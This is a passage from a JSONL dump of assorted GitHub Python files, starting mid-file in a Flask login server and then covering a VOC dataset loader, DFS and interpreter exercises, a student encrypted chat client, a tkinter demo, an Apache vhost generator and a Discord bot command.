**kwargs):\n\t\t\tloginid=valid_session()\n\t\t\tif loginid:\n\t\t\t\tdb.execute(\"INSERT INTO activity (login, url) VALUES (?, ?)\", (loginid, request.path))\n\t\t\t\tif param:\n\t\t\t\t\tkwargs[param]={**session[\"userinfo\"],\n\t\t\t\t\t\t\"emails\": sum(db.query(\"SELECT email FROM emails WHERE user=?\", (session[\"user\"],)), ()),\n\t\t\t\t\t\t\"phones\": sum(db.query(\"SELECT phone FROM phones WHERE user=?\", (session[\"user\"],)), ())\n\t\t\t\t\t}\n\t\t\t\treturn function(*args, **kwargs)\n\t\t\telif request.method==\"GET\":\n\t\t\t\treturn redirect(url_for(\"login\", next=request.path))\n\t\t\telse:\n\t\t\t\tabort(401)\n\t\treturn wrapper\n\tif callable(param):\n\t\tfunction, param=param, None\n\t\treturn decorator(function)\n\telse:\n\t\treturn decorator\n\n@app.route(\"/\")\ndef index():\n\tif valid_session():\n\t\treturn redirect(url_for(\"home\"))\n\telse:\n\t\treturn redirect(url_for(\"welcome\"))\n\n@app.route(\"/index\")\ndef welcome():\n\treturn app.send_static_file(\"index.html\")\n\n@app.route(\"/invest\")\ndef invest():\n\tif gi.country_code_by_addr(request.environ['REMOTE_ADDR']) == 'US':\n\t\treturn app.send_static_file(\"block_us.html\")\n\treturn app.send_static_file(\"invest.html\")\n\n@app.route(\"/login\")\ndef login():\n\treturn app.send_static_file(\"index.html\")\n\n@app.route(\"/logout\")\ndef logout():\n\tsession.clear()\n\treturn redirect(url_for(\"index\"))\n\n@app.route(\"/home\")\n@nocache\n@require_login(\"user\")\ndef home(user):\n\treturn render_template(\"home.html\", name=user[\"name\"] or user[\"username\"], username=user[\"name\"] and user[\"username\"], emails=user[\"emails\"], phones=user[\"phones\"])\n\nif __name__ == \"__main__\":\n\tapp.run(port = 8000, debug = True, host=\"0.0.0.0\")\n","repo_name":"Semaphore-LLC/Semaphore","sub_path":"web/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":7833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"40605367344","text":"import os\nimport random\nfrom typing import Sequence, List, Dict, Any\nfrom copy import deepcopy\nfrom functools import lru_cache\n\nfrom detectron2.data import DatasetCatalog, MetadataCatalog\nfrom detectron2.structures import BoxMode\nfrom xml.etree import ElementTree\n\nVOC_ROOT = '../data/VOC/VOCdevkit/VOC2007/'\n\nVOC_CAT_IDS = [\"aeroplane\", \"bicycle\", \"bird\", \"boat\", \"bottle\", \"bus\", \"car\", \"cat\",\n \"chair\", \"cow\", \"diningtable\", \"dog\", \"horse\", \"motorbike\", \"person\",\n \"pottedplant\", \"sheep\", \"sofa\", \"train\", \"tvmonitor\"]\n\nVOC_CAT_SHORT_NAMES = [\"plane\", \"bike\", \"bird\", \"boat\", \"bottle\", \"bus\", \"car\", \"cat\",\n \"chair\", \"cow\", \"table\", \"dog\", \"horse\", \"motor\", \"person\",\n \"plant\", \"sheep\", \"sofa\", \"train\", \"tv\"]\n\n\n@lru_cache(maxsize=128)\ndef get_voc_dict(root_dir: str = VOC_ROOT, split: str = 'train') -> List[Dict[str, Any]]:\n \"\"\"\n This method should be cached because it's going to be called more than once, and it takes a while.\n \"\"\"\n\n train_imgs = os.path.join(root_dir, 'ImageSets/Main', f'{split}.txt')\n train_img_ids = []\n with open(train_imgs) as f:\n for line in f.readlines():\n train_img_ids.append(line.strip('\\n'))\n\n dataset_dicts = []\n for img_id in train_img_ids:\n annot_path = os.path.join(root_dir, 'Annotations', f'{img_id}.xml')\n annot_tree = ElementTree.parse(annot_path)\n annot_root = annot_tree.getroot()\n\n record = {'file_name': os.path.join(root_dir, 'JPEGImages', annot_root.find('filename').text),\n 'image_id': int(img_id),\n 'height': int(annot_root.find('size').find('height').text),\n 'width': int(annot_root.find('size').find('width').text)}\n\n objs = []\n for obj in annot_root.findall('object'):\n if obj.find('difficult').text == '1' and split in ['test', 'val']:\n continue\n bbox = obj.find('bndbox')\n objs.append({\n 'bbox': [float(bbox.find('xmin').text) - 1, float(bbox.find('ymin').text) - 1,\n float(bbox.find('xmax').text), float(bbox.find('ymax').text)],\n \"bbox_mode\": BoxMode.XYXY_ABS,\n \"category_id\": VOC_CAT_IDS.index(obj.find('name').text)\n })\n\n record['annotations'] = objs\n dataset_dicts.append(record)\n return dataset_dicts\n\n\ndef _get_class_incr_voc(root_dir: str, split: str, task_cats: Sequence[int]):\n full_set = get_voc_dict(root_dir, split)\n full_set_copy = deepcopy(full_set)\n for img in full_set_copy:\n img['annotations'] = [annot for annot in img['annotations'] if annot['category_id'] in task_cats]\n full_set_copy = [img for img in full_set_copy if len(img['annotations']) > 0]\n return full_set_copy\n\n\ndef register_class_incremental_voc(classes_per_task: Sequence[Sequence[int]],\n names: Sequence[str]):\n thing_classes = VOC_CAT_IDS\n for task, name in zip(classes_per_task, names):\n for split in ['train', 'val', 'trainval', 'test']:\n # Use lambda with default argument, because it should have zero arguments.\n DatasetCatalog.register(f\"VOC_{split}_{name}\", lambda t=task, s=split: _get_class_incr_voc(VOC_ROOT, s, t))\n MetadataCatalog.get(f\"VOC_{split}_{name}\").set(thing_classes=thing_classes, dirname=VOC_ROOT, split=split,\n year=2007)\n\n\ndef _get_fine_tune(images_per_task: int):\n full_set = deepcopy(get_voc_dict(VOC_ROOT, 'trainval'))\n\n random.seed(1997) # Shuffle set randomly, but always the same.\n random.shuffle(full_set)\n\n class_count = [0 for _ in range(20)]\n\n fine_tune_set = []\n for image in full_set:\n for annot in image['annotations']:\n if class_count[annot['category_id']] < images_per_task:\n fine_tune_set.append(image)\n for selected_annot in image['annotations']:\n class_count[selected_annot['category_id']] += 1\n break\n\n return fine_tune_set\n\n\ndef register_finetune_voc():\n DatasetCatalog.register(\"VOC_finetune10\", lambda: _get_fine_tune(10))\n MetadataCatalog.get(\"VOC_finetune10\").set(thing_classes=VOC_CAT_SHORT_NAMES, dirname=VOC_ROOT, split='trainval',\n year=2007)\n\n\ndef register_voc():\n for d in [\"train\", \"val\", \"trainval\", \"test\"]:\n DatasetCatalog.register(\"VOC_\" + d, lambda s=d: get_voc_dict(VOC_ROOT, s))\n MetadataCatalog.get(\"VOC_\" + d).set(thing_classes=VOC_CAT_SHORT_NAMES, dirname=VOC_ROOT, split=d, year=2007)\n\n\nif __name__ == '__main__':\n _get_fine_tune(10)\n","repo_name":"VerwimpEli/Continual_Object_Detection","sub_path":"datasets/voc.py","file_name":"voc.py","file_ext":"py","file_size_in_byte":4730,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"21899812047","text":"#Написать функцию ask_user() чтобы с помощью input() спрашивать пользователя “Как дела?”, пока он не ответит “Хорошо”\n#При помощи функции get_answer() отвечать на вопросы пользователя в ask_user(), пока он не скажет “Пока!”\n#Переписать функцию ask_user(), добавив обработку exception-ов\n#Добавить перехват ctrl+C и прощание\n\nanswers={\n 'привет': 'И тебе привет!',\n 'как дела': 'Лучше всех',\n 'что делаешь': 'разговариваю с тобой'\n }\n\n\ndef ask_user(): #Написать функцию ask_user() чтобы с помощью input() спрашивать пользователя “Как дела?”, пока он не ответит “Хорошо”\n while True:\n user_say = str(input('Скажи что-нибудь: \\n')).lower()\n if user_say == 'Хорошо':\n break\n else:\n user_say = input ('Как дела? \\n')\n\n\ndef get_answer(question):\n return answers.get(question)\n\n\ndef ask_user2(): #При помощи функции get_answer() отвечать на вопросы пользователя в ask_user(), пока он не скажет “Пока!”\n try:\n while True:\n user_say = str(input('Скажи что-нибудь: \\n')).lower()\n if user_say == 'Пока'.lower():\n print('Пока!')\n break\n else:\n print(get_answer(user_say))\n except EOFError:\n print('Жаль, что уже уходишь! Пока! ')\n except KeyboardInterrupt:\n print('Жаль, что уже уходишь! Пока! ')\n \n\n \nif __name__ == '__main__':\n ask_user2()","repo_name":"iakuninaanastasia/lesson2","sub_path":"ask_user.py","file_name":"ask_user.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19367413760","text":"# simple dfs function\n# visited = set()\ndef simpleDFS(g, v):\n visited.add(v)\n for i in g[v]:\n if i not in visited:\n simpleDFS(g, i)\n\n# dfs with color and timer\n# color could be 0 (white), 1 (grey) or 2 (black)\ndef dfs(g, v):\n timeIn[v] = dfsTimer\n dfsTimer += 1\n color[v] = 1\n for i in g[v]:\n if color[i] == 0:\n dfs(g, i)\n color[v] = 2\n timeOut[v] = dfsTimer\n dfsTimer += 1\n\n# iterative dfs (without recursion)\ndef dfsIter(g, v):\n stack = []\n stack.append(v)\n while stack:\n u = stack.pop()\n if color[u] == 0:\n color[u] = 1\n stack.append(u)\n for i in g[u]:\n if color[i] == 0:\n stack.append(i)\n elif color[u] == 1:\n color[u] == 2\n\n# if there are several components in a graph we should launch dfs function multiple times\n# until there are no white (unvisited) vertices\ndef mainDFS(g):\n for i in range(n):\n if color[i] == 0:\n dfs(g, i)","repo_name":"r1sotto/algorithms","sub_path":"Random/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"16116258240","text":"class WritePurifier:\r\n def __init__(self):\r\n pass \r\n def visit(self, tree):\r\n if tree is not None:\r\n return tree.accept(self)\r\n return 0 #?\r\n\r\n def visitFuncCall(self, funccall):\r\n return self.visit(funccall.fun_expr)\r\n\r\n def visitFuncDef(self, funcdef):\r\n return self.visit(funcdef.function)\r\n \r\n def visitFunction(self, func):\r\n is_print = 0\r\n body = []\r\n for elem in func.body or []:\r\n if (is_print == 0):\r\n is_print = self.visit(elem)\r\n body.append(elem)\r\n else:\r\n break\r\n if (is_print == -1):\r\n elem = body.pop()\r\n if elem.__class__.__name__ == \"Print\":\r\n body.append(elem.expr)\r\n else:\r\n body.append(elem)\r\n func.body = body\r\n return -1\r\n return 0\r\n \r\n \r\n def visitCond(self, cond):\r\n is_print = 0\r\n if_true = []\r\n for elem in cond.if_true or []:\r\n if (is_print == 0):\r\n is_print = self.visit(elem)\r\n if_true.append(elem)\r\n else:\r\n break\r\n if (is_print == -1):\r\n elem = if_true.pop()\r\n if elem.__class__.__name__ == \"Print\":\r\n if_true.append(elem.expr)\r\n else:\r\n if_true.append(elem)\r\n cond.if_true = if_true\r\n return -1\r\n if_false = []\r\n for elem in cond.if_false or []:\r\n if (is_print == 0):\r\n is_print = self.visit(elem)\r\n if_false.append(elem)\r\n else:\r\n break\r\n if (is_print == -1):\r\n elem = if_false.pop()\r\n if elem.__class__.__name__ == \"Print\":\r\n if_false.append(elem.expr)\r\n else:\r\n if_true.append(elem)\r\n cond.if_false = if_false\r\n return -1\r\n return 0\r\n\r\n def visitPrint(self, prnt):\r\n return -1\r\n\r\n def visitNumber(self, num):\r\n return 0\r\n\r\n def visitBinOp(self, binop):\r\n return 0\r\n\r\n def visitUnOp(self, unop):\r\n return 0\r\n\r\n def visitReference(self, ref):\r\n return 0\r\n \r\nclass Scope:\r\n\r\n def __init__(self, parent = None):\r\n self.parent = parent\r\n self.d = {}\r\n\r\n def __getitem__(self, name):\r\n if name not in self.d:\r\n return self.parent[name]\r\n else:\r\n return self.d[name]\r\n\r\n def __setitem__(self, name, value):\r\n self.d[name] = value\r\n\r\n\r\nclass Number:\r\n\r\n def __init__(self, value):\r\n self.value = value\r\n\r\n def evaluate(self, scope):\r\n return self\r\n\r\n def accept(self, visitor):\r\n return visitor.visitNumber(self)\r\n\r\n\r\nclass Function:\r\n\r\n def __init__(self, args, body):\r\n self.args = args\r\n self.body = body\r\n\r\n def evaluate(self, scope):\r\n res = None\r\n for elem in self.body:\r\n res = elem.evaluate(scope)\r\n return res\r\n\r\n def accept(self, visitor):\r\n return visitor.visitFunction(self)\r\n\r\n\r\nclass FunctionDefinition:\r\n\r\n def __init__(self, name, function):\r\n self.name = name\r\n self.function = function\r\n\r\n def evaluate(self, scope):\r\n scope[self.name] = self.function\r\n return self.function\r\n\r\n def accept(self, visitor):\r\n return visitor.visitFuncDef(self)\r\n\r\n\r\nclass Conditional:\r\n\r\n def __init__(self, condition, if_true, if_false=None):\r\n\r\n self.condition = condition\r\n self.if_true = if_true\r\n self.if_false = if_false\r\n\r\n def evaluate(self, scope):\r\n res = None\r\n if self.condition.evaluate(scope).value:\r\n for elem in self.if_true or []:\r\n res = elem.evaluate(scope)\r\n else:\r\n for elem in self.if_false or []:\r\n res = elem.evaluate(scope)\r\n return res\r\n\r\n def accept(self, visitor):\r\n return visitor.visitCond(self)\r\n \r\n\r\nclass Print:\r\n\r\n def __init__(self, expr):\r\n self.expr = expr\r\n\r\n def evaluate(self, scope):\r\n number = self.expr.evaluate(scope)\r\n print(number.value)\r\n return number\r\n\r\n def accept(self, visitor):\r\n return visitor.visitPrint(self)\r\n\r\n\r\nclass FunctionCall:\r\n\r\n def __init__(self, fun_expr, args):\r\n self.fun_expr = fun_expr\r\n self.args = args\r\n\r\n def evaluate(self, scope):\r\n localscope = Scope(scope)\r\n function = self.fun_expr.evaluate(scope)\r\n for name, value in zip(function.args, self.args):\r\n localscope[name] = value.evaluate(scope)\r\n return function.evaluate(localscope)\r\n\r\n def accept(self, visitor):\r\n return visitor.visitFuncCall(self)\r\n\r\n\r\nclass Reference:\r\n\r\n def __init__(self, name):\r\n self.name = name\r\n\r\n def __repr__(self):\r\n return self.name\r\n\r\n def evaluate(self, scope):\r\n return scope[self.name]\r\n\r\n def accept(self, visitor):\r\n return visitor.visitReference(self)\r\n\r\n\r\nclass BinaryOperation:\r\n\r\n def __init__(self, lhs, op, rhs):\r\n self.lhs = lhs\r\n self.rhs = rhs\r\n self.op = op\r\n\r\n def evaluate(self, scope):\r\n left = self.lhs.evaluate(scope).value\r\n right = self.rhs.evaluate(scope).value\r\n if self.op == \"+\":\r\n return Number(left + right)\r\n elif self.op == \"-\":\r\n return Number(left - right)\r\n elif self.op == \"*\":\r\n return Number(left * right)\r\n elif self.op == \"/\":\r\n return Number(left // right)\r\n elif self.op == \"%\":\r\n return Number(left % right)\r\n elif self.op == \"==\":\r\n return Number(int(left == right))\r\n elif self.op == \"!=\":\r\n return Number(int(left != right))\r\n elif self.op == \">\":\r\n return Number(int(left > right))\r\n elif self.op == \"<\":\r\n return Number(int(left < right))\r\n elif self.op == \">=\":\r\n return Number(int(left >= right))\r\n elif self.op == \"<=\":\r\n return Number(int(left <= right))\r\n elif self.op == \"&&\":\r\n return Number(int(bool(left and right)))\r\n elif self.op == \"||\":\r\n return Number(int(bool(left or right)))\r\n\r\n def accept(self, visitor):\r\n return visitor.visitBinOp(self)\r\n\r\n\r\nclass UnaryOperation:\r\n\r\n def __init__(self, op, expr):\r\n self.op = op\r\n self.expr = expr\r\n\r\n def evaluate(self, scope):\r\n number = self.expr.evaluate(scope).value\r\n if self.op == \"-\":\r\n return Number(-number)\r\n elif self.op == \"!\":\r\n return Number(not number)\r\n\r\n def accept(self, visitor):\r\n return visitor.visitUnOp(self)\r\n\r\ndef testCond():\r\n parent = Scope()\r\n WP = WritePurifier()\r\n cond = Conditional(Number(1), [Print(Number(5)), Number(5), Number(6)],\r\n [Print(Number(6))])\r\n WP.visit(cond)\r\n cond.evaluate(parent)\r\n counter = 0\r\n for elem in cond.if_true:\r\n counter+=1\r\n assert counter == 1\r\n assert cond.evaluate(parent).value == 5\r\n cond = Conditional(Number(1), [Conditional(Number(1), [Print(Number(7))])])\r\n WP.visit(cond)\r\n assert cond.evaluate(parent).value == 7\r\n\r\ndef testFunc():\r\n parent = Scope()\r\n WP = WritePurifier()\r\n prog = Conditional(Number(1), [\r\n FunctionDefinition('fac', Function(['n', 'cur'], [\r\n Conditional(\r\n BinaryOperation(Reference('n'), '==', Number(0)\r\n ), [\r\n Reference('cur')\r\n ], [\r\n BinaryOperation(Number(1), '+',\r\n FunctionCall(Reference('fac'), [\r\n BinaryOperation(Reference('n'), '-', Number(1)),\r\n BinaryOperation(Reference('cur'), '*', Reference('n')),\r\n ])\r\n )\r\n ])\r\n ])),\r\n FunctionCall(Reference('fac'), [Number(5), Number(1)])\r\n ])\r\n print(prog.evaluate(parent).value)\r\n WP.visit(prog)\r\n print(prog.evaluate(parent))\r\n\r\ndef otherTestFunc():\r\n parent = Scope()\r\n WP = WritePurifier()\r\n F = Function((), [Print(Number(10))])\r\n FD = FunctionDefinition(\"foo\", F)\r\n FC = FunctionCall(FD, [])\r\n print(FC.evaluate(parent))\r\n WP.visit(FC)\r\n print(FC.evaluate(parent))\r\n\r\n F = Function(('a'), [Reference('a')])\r\n FD = FunctionDefinition(\"foo\", F)\r\n FC = FunctionCall(FD, [Number(4)])\r\n print(FC.evaluate(parent).value)\r\n WP.visit(FC)\r\n print(FC.evaluate(parent).value)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n testCond()\r\n testFunc()\r\n # otherTestFunc()\r\n","repo_name":"NadiaKH/paradigms2016","sub_path":"model2611.py","file_name":"model2611.py","file_ext":"py","file_size_in_byte":8661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"26585469327","text":"def cookies(k, A):\n heapq.heapify(A)\n count = 0\n while A[0] < k and len(A) >= 2:\n a1 = heapq.heappop(A)\n a2 = heapq.heappop(A)\n b = a1 +(2*a2)\n heapq.heappush(A,b)\n count += 1\n if len(A) < 2 and A[0] < k:\n return -1\n \n return count\n ","repo_name":"Yared04/Yared04-competitive-programming","sub_path":"Contest/jesse and cookies.py","file_name":"jesse and cookies.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"12616420375","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 28 18:20:54 2019\n@author: grupo6\n\"\"\"\nfrom cryptography.exceptions import InvalidSignature\n\nimport asyncio\nimport socket\n\nimport os\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.ciphers.modes import CTR\nfrom cryptography.hazmat.primitives import hashes, hmac\n\nfrom cryptography.hazmat.primitives.asymmetric import dh\nfrom cryptography.hazmat.primitives.kdf.hkdf import HKDF\n\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import load_der_public_key\nfrom cryptography.hazmat.primitives import serialization\n\n\nfrom cryptography.hazmat.primitives.asymmetric import padding\n\n\n\nconn_port = 8801\nmax_msg_size = 9999\n\n\nclass Client:\n \"\"\" Classe que implementa a funcionalidade de um CLIENTE. \"\"\"\n\n def __init__(self, sckt=None):\n \"\"\" Construtor da classe. \"\"\"\n self.sckt = sckt\n self.msg_cnt = 0\n self.x_client_private_key = None\n self.gx = None\n self.gy = None\n self.derived_key = b\"\"\n self.key1= None\n self.key2= None\n self.cliente_private_key_assinatura=None\n self.cliente_private_key_assinatura_serializable=None\n self.cliente_public_key_assinatura=None\n self.cliente_public_key_assinatura_serializable=None\n self.signature=None\n self.gxb=None\n self.serverPK=None\n self.assinatura=None\n self.gyb=None\n self.sigb=None\n self.shared_key=None\n\n\n\n\n def process(self, msg=b\"\"):\n \"\"\" Processa uma mensagem (`bytestring`) enviada pelo SERVIDOR.\n Retorna a mensagem a transmitir como resposta (`None` para\n finalizar ligação) \"\"\"\n self.msg_cnt += 1\n\n\n p = 99494096650139337106186933977618513974146274831566768179581759037259788798151499814653951492724365471316253651463342255785311748602922458795201382445323499931625451272600173180136123245441204133515800495917242011863558721723303661523372572477211620144038809673692512025566673746993593384600667047373692203583\n g = 44157404837960328768872680677686802650999163226766694797650810379076416463147265401084491113667624054557335394761604876882446924929840681990106974314935015501571333024773172440352475358750668213444607353872754650805031912866692119819377041901642732455911509867728218394542745330014071040326856846990119719675\n pn = dh.DHParameterNumbers(p, g)\n parameters = pn.parameters(default_backend())\n \n\n\n\n if self.msg_cnt == 1: #envia chave publica gx serializada:gxb\n self.x_client_private_key = parameters.generate_private_key()\n self.gx = self.x_client_private_key.public_key()\n self.gxb = self.gx.public_bytes(encoding=serialization.Encoding.DER, format=serialization.PublicFormat.SubjectPublicKeyInfo)\n return self.gxb\n\n\n elif self.msg_cnt == 2:\n\n #Cliente recebe msg. Que contém gyb e Sigb\n self.gyb, self.sigb = msg[:-256], msg[-256:]\n\n #desserializar chave gyb para gy\n self.gy = serialization.load_der_public_key(data=self.gyb, backend=default_backend())\n\n\n '''\n :::::::::::::::::::::SIGa(gx,gy)::::::::::::::::::::::::::::::::::::\n '''\n with open(\"client_private_key.txt\", \"rb\") as file2:\n self.cliente_private_key_assinatura = serialization.load_der_private_key(file2.read(), password=None, backend=default_backend())\n\n\n self.assinatura=self.gxb+self.gyb #gxb é a chave da alice enviada, gyb é a chave do bob recebida\n #vamos fazer a assinatura da chave publica serializada Diffi-Helman da Alice\n self.signature = self.cliente_private_key_assinatura.sign(\n self.assinatura,\n padding.PSS(\n mgf=padding.MGF1(hashes.SHA256()\n ),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n hashes.SHA256()\n )\n \n \n\n '''\n VERIFICAR ASSINATURA\n '''\n with open(\"server_public_key_assinatura.txt\", \"rb\") as file1:\n self.serverPK = serialization.load_der_public_key(file1.read(), backend=default_backend())\n\n\n #self.sigb é a assinatura do servidor, recebida na msg\n \n try:\n self.serverPK.verify( #\n self.sigb,\n self.assinatura,\n padding.PSS(\n mgf=padding.MGF1(hashes.SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n hashes.SHA256()\n )\n self.shared_key = self.x_client_private_key.exchange(self.gy)\n except (InvalidSignature):\n print(\"Oops! Não se verificou a assinatura.\")\n\n\n self.derived_key = HKDF(\n algorithm=hashes.SHA256(),\n length=32,\n salt=None,\n info=b'handshake data',\n backend=default_backend()\n ).derive(self.shared_key)\n self.key1=self.derived_key[:16]\n self.key2=self.derived_key[16:]\n\n print('Input message to send (empty to finish)')\n new_msg = input().encode()\n\n iv = os.urandom(16)\n cipher = Cipher(algorithms.AES(self.key1), modes.CTR(iv), default_backend())\n encryptor = cipher.encryptor()\n ct = encryptor.update(new_msg) + encryptor.finalize()\n # mac\n h = hmac.HMAC(self.key2, hashes.SHA256(), default_backend())\n h.update(ct)\n tag = h.finalize()\n new_msg2 = (iv + ct) + tag +self.signature\n return new_msg2 if len(new_msg) > 0 else None\n\n\n elif self.msg_cnt >=3:\n if msg: \n criptoIV, tag = msg[:-32], msg[-32:]\n iv, cripto = criptoIV[:16], criptoIV[16:]\n h = hmac.HMAC(self.key2, hashes.SHA256(), default_backend())\n h.update(cripto)\n\n try:\n h.verify(tag)\n cipher = Cipher(algorithms.AES(self.key1), modes.CTR(iv), default_backend())\n decryptor = cipher.decryptor()\n msg = decryptor.update(cripto) + decryptor.finalize()\n print('Received (%d): %r' % (self.msg_cnt, msg.decode()))\n except (InvalidSignature):\n print(\"Oops! Não se verificou a integridade do criptograma.\")\n\n\n\n\n print('Input message to send (empty to finish)')\n new_msg = input().encode()\n\n iv = os.urandom(16)\n cipher = Cipher(algorithms.AES(self.key1), modes.CTR(iv), default_backend())\n encryptor = cipher.encryptor()\n ct = encryptor.update(new_msg) + encryptor.finalize()\n # mac\n h = hmac.HMAC(self.key2, hashes.SHA256(), default_backend())\n h.update(ct)\n tag = h.finalize() # como mandar tag para o outro lado??\n new_msg2 = (iv + ct) + tag\n return new_msg2 if len(new_msg) > 0 else None\n\n\n#\n#\n# Funcionalidade Cliente/Servidor\n#\n# obs: não deverá ser necessário alterar o que se segue\n#\n\n\n@asyncio.coroutine\ndef tcp_echo_client(loop=None):\n if loop is None:\n loop = asyncio.get_event_loop()\n\n reader, writer = yield from asyncio.open_connection('127.0.0.1',\n conn_port, loop=loop)\n addr = writer.get_extra_info('peername')\n client = Client(addr)\n msg = client.process()\n while msg:\n writer.write(msg)\n msg = yield from reader.read(max_msg_size)\n if msg:\n msg = client.process(msg)\n else:\n break\n writer.write(b'\\n')\n print('Socket closed!')\n writer.close()\n\n\ndef run_client():\n loop = asyncio.get_event_loop()\n loop.run_until_complete(tcp_echo_client())\n\n\nrun_client()","repo_name":"eduardavieira/Cryptography","sub_path":"G7/client_G7.py","file_name":"client_G7.py","file_ext":"py","file_size_in_byte":8242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"70303320037","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 7 08:49:45 2023\n\n@author: Navi\n\"\"\"\n\nfrom tkinter import *\n\nwindow = Tk()\n\nmain_menu = Menu(window)\n\n# Menu\nwindow.config(menu = main_menu)\n\n# File\nfile_menu = Menu(main_menu)\n\nmain_menu.add_cascade(label = 'File', menu = file_menu)\nfile_menu.add_command(label = 'New')\nfile_menu.add_command(label = 'Open')\n\nfile_menu.add_separator()\n\nfile_menu.add_command(label = 'Exit')\n\n# Help\nhelp_menu = Menu(main_menu)\n\nmain_menu.add_cascade(label = 'Help', menu = help_menu)\nhelp_menu.add_command(label = 'About')\n\n# Entry\ne = Entry(window, width = 50, font = ('Calibri', 30))\ne.pack()\ne.insert(0,'Enter Name: ')\n\ndef my_button():\n string = 'Hello my name is ' + e.get().split(':')[1]\n \n my_label = Label(window, text = string, font = ('Ariel', 35))\n \n e.delete(0, 'end')\n \n my_label.pack()\n\n\nbutton = Button(window, text = 'Click to Display', command = my_button,\n width = 40, bg = 'Black', fg = 'White', font = 35)\nbutton.pack()\n\nwindow.mainloop()\n\n\n\n","repo_name":"navi1910/Python","sub_path":"tkinter/tkinter6.py","file_name":"tkinter6.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"18063317806","text":"import numpy as np\n\ndef assignComplexValuesAndCreateAMatrix(Aui , AuiTranspose , Auu , Aii , treshold):\n\t\n\tUserCount=len(Auu)\n\titemCount=len(Aii)\n\n\tAui=Aui.astype(complex)\n\tAuiTranspose=AuiTranspose.astype(complex)\n\tAuu=Auu.astype(complex)\n\tAii=Aii.astype(complex)\n\n\tfor i in range(0,len(Aui)):\n\t\tfor j in range(0,len(Aui[0])):\n\t\t\tif Aui[i][j] == 0:\n\t\t\t\tAui[i][j]=0+0j\n\t\t\telif Aui[i][j]\n ServerName {0}\n DocumentRoot \"/var/www/vhosts/{0}\"\n \n Options Indexes FollowSymLinks MultiViews\n AllowOverride All\n \n CustomLog \"/var/log/httpd/{0}-access.log\" combined\n ErrorLog \"/var/log/httpd/{0}-error.log\"\n LogLevel warn\n\n'''\n\ndef write_vhost_conf(server_name, port, destination_directory):\n full_path = '{0}/{1}.conf'.format(destination_directory, server_name)\n if os.path.isfile(full_path):\n return('file {0} exists, not overwriting'.format(full_path))\n with open(full_path, 'w') as f:\n f.write(vhost_template.format(server_name, port))\n return('file {0} created'.format(full_path))\n return('something unexpected happened')\n\nif '__main__' == __name__:\n parser = argparse.ArgumentParser()\n parser.add_argument('server_names', nargs='+',\n help='the list of vhost server names to create')\n parser.add_argument('-p', '--port', default=80)\n parser.add_argument('-d', '--destination_directory', default='/tmp/vhost.d')\n parser.add_argument('-v', '--verbose', action='store_true')\n args = parser.parse_args()\n for server_name in args.server_names:\n if args.verbose:\n print(server_name)\n print(write_vhost_conf(server_name, args.port,\n args.destination_directory))\n","repo_name":"davejagoda/proggy","sub_path":"python/apache_vhost_generator.py","file_name":"apache_vhost_generator.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"23459893760","text":"import discord\nimport secrets\nimport asyncio\n\n\nasync def ex(args, message, bot, invoke):\n if message.guild:\n matches = []\n members = [x for x in message.guild.members]\n for member in members:\n if message.mentions:\n value_one_one = int(str(message.mentions[0].id)[6])\n value_one_two = int(str(message.mentions[0].id)[9])\n pronouns = ['Their', 'their', 'They']\n else:\n value_one_one = int(str(message.author.id)[6])\n value_one_two = int(str(message.author.id)[9])\n pronouns = ['Your', 'your', 'You']\n value_two_one = int(str(member.id)[6])\n value_two_two = int(str(member.id)[9])\n if value_one_one == value_two_one:\n if message.mentions:\n if member.id != message.mentions[0].id:\n if value_one_two == value_two_two:\n matches.append(f'{member.mention}')\n else:\n if member.id != message.author.id:\n if value_one_two == value_two_two:\n matches.append(f'{member.mention}')\n response = discord.Embed(title=f'🔍 Searching for {pronouns[1]} match...', color=0x696969)\n search_resp = await message.channel.send(embed=response)\n await asyncio.sleep(3)\n try:\n match = secrets.choice(matches)\n desc = f'**{pronouns[0]} match is {match}!**'\n match_resp = discord.Embed(title='💗 **I found one!**', description=desc, color=0xE75A70)\n except IndexError:\n match_resp = discord.Embed(title=f'💔 **{pronouns[2]} don\\'t have any matches.**', color=0xE75A70)\n await search_resp.edit(embed=match_resp)\n else:\n response = discord.Embed(title='🔒 You can\\'t use that command in a DM', color=0xFFCC4d)\n await message.channel.send(embed=response)\n","repo_name":"AXAz0r/Kon","sub_path":"modules/utility/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
